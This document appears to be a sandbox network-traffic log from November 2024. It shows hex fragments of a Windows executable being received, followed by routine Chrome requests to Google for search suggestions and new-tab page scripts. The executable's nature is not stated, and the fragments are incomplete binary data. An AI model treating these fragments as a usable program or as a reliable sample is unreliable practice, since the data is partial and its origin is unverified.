2024-11-22 22:00:48 UTC	16150	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7f da 6f e6 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 40 00 00 00 d4 00 00 00 00 00 00 e6 5e 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 01 00 00 02 00 00 d5 24 02 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELo"0@^ `@ `$@
2024-11-22 22:00:48 UTC	16384	IN	Data Raw: 00 29 01 00 24 39 37 33 35 31 30 64 62 2d 37 64 37 66 2d 34 35 32 62 2d 38 39 37 35 2d 37 34 61 38 35 38 32 38 64 33 35 34 00 00 13 01 00 02 00 00 00 04 54 65 78 74 05 53 74 61 74 65 00 00 08 01 00 0b 00 00 00 00 00 00 00 21 b6 ed 55 cc 1c 34 da a9 ba 26 c5 af c0 7a 8b c8 ec 9a 4e 15 f5 57 09 66 f8 54 1e 23 0d 46 8a d0 31 74 fa b5 ce cc c5 f3 48 33 d0 24 1c da b9 2c fd 8f cc 64 34 db dc 2b 01 3d 74 17 8f 7b 58 b2 b0 ad de f3 c1 b0 0d c4 c8 95 65 a5 c1 77 fc 36 28 c5 9d 46 a0 37 b1 94 f6 c6 b6 ea 45 c4 0a 6b d7 09 51 69 f7 bb fd d8 20 8a 15 e8 de 50 11 27 69 e2 f0 72 86 af 63 b6 44 86 66 ff d7 59 27 00 00 00 00 81 c5 e8 85 00 00 00 00 02 00 00 00 7b 00 00 00 18 5e 00 00 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: )$973510db-7d7f-452b-8975-74a85828d354TextState!U4&zNWfT#F1tH3$,d4+=t{Xew6(F7EkQi P'ircDfY'{^@
2024-11-22 22:00:48 UTC	16384	IN	Data Raw: f8 ff 52 ce fa ff 53 d0 fd ff 54 d1 fe ff 54 d2 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 d2 ff ff 55 d1 fe ff 54 d0 fd ff 53 cf fb ff 52 cc f8 ff 51 c9 f4 ff 50 c6 f0 ff 4e c2 eb ff 4c bc e5 ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff dd 96 3a ff 4c bc e5 ff 4e c2 eb ff 50 c6 f0 ff 51 c9 f4 ff 52 Data Ascii: RSTTUUTSRQPNL::::::::::::::::::::::::::::::::::::::LNPQR
2024-11-22 22:00:48 UTC	16384	IN	Data Raw: ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 66 d7 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 d8 ff ff 67 Data Ascii: fffffffffffffffffffggggggggggggggggggggggggggggggggggggggg
2024-11-22 22:00:48 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 00 9a dc ff 6e cd f3 ff 85 e0 ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 80 df ff ff 9a e5 ff ef 00 00 00 00 00 00 00 00 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 cf 00 9f e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9f e0 ef 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 ff 00 9f e0 cf 00 9f e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: n
2024-11-22 22:00:48 UTC	2	IN	Data Raw: 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49783	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:48 UTC	627	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:49 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:00:49 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-sDehEj6qJSW6IPKhqYEgaw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:00:49 UTC	124	IN	Data Raw: 33 31 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6c 61 73 20 76 65 67 61 73 20 67 72 61 6e 64 20 70 72 69 78 20 66 31 22 2c 22 64 77 61 79 6e 65 20 6a 6f 68 6e 73 6f 6e 20 6d 6f 61 6e 61 20 6c 69 76 65 20 61 63 74 69 6f 6e 20 6d 6f 76 69 65 22 2c 22 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 20 62 69 74 63 6f 69 6e 22 2c 22 6d 61 67 6e 65 74 69 63 20 6e 6f 72 74 68 20 70 Data Ascii: 315)]}'["",["las vegas grand prix f1","dwayne johnson moana live action movie","cryptocurrency bitcoin","magnetic north p
2024-11-22 22:00:49 UTC	672	IN	Data Raw: 6f 6c 65 20 73 68 69 66 74 69 6e 67 22 2c 22 6e 65 77 20 6a 65 72 73 65 79 20 73 63 68 6f 6f 6c 20 63 6c 6f 73 69 6e 67 73 22 2c 22 6e 79 74 20 73 74 72 61 6e 64 73 20 68 69 6e 74 73 20 6e 6f 76 65 6d 62 65 72 20 32 32 22 2c 22 63 6f 6c 6c 65 67 65 20 67 69 72 6c 73 20 73 65 61 73 6f 6e 20 33 22 2c 22 62 6c 61 63 6b 20 66 72 69 64 61 79 20 73 61 6c 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c Data Ascii: ole shifting","new jersey school closings","nyt strands hints november 22","college girls season 3","black friday sales"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\
2024-11-22 22:00:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49784	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:48 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:49 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 22:00:49 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:00:49 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-22 22:00:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49785	142.250.181.68	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:48 UTC	530	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIlaHLAQj2mM0BCIWgzQEI3L3NAQiSys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:49 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 22 Nov 2024 22:00:49 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-22 22:00:49 UTC	372	IN	Data Raw: 31 62 64 63 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1bdc)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-22 22:00:49 UTC	1208	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 34 38 2c 33 37 30 30 39 34 39 2c 33 37 30 31 30 37 30 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700248,3700949,3701070,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var
2024-11-22 22:00:49 UTC	304	IN	Data Raw: 31 32 39 0d 0a 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e Data Ascii: 129};\n}catch(e){_._DumpException(e)}\ntry{\n/\n\n Copyright Google LLC\n SPDX-License-Identifier: Apache-2.0\n/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return
2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b Data Ascii: 8000d(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{
2024-11-22 22:00:49 UTC	1390	IN	Data Raw: 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 Data Ascii: of _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`)
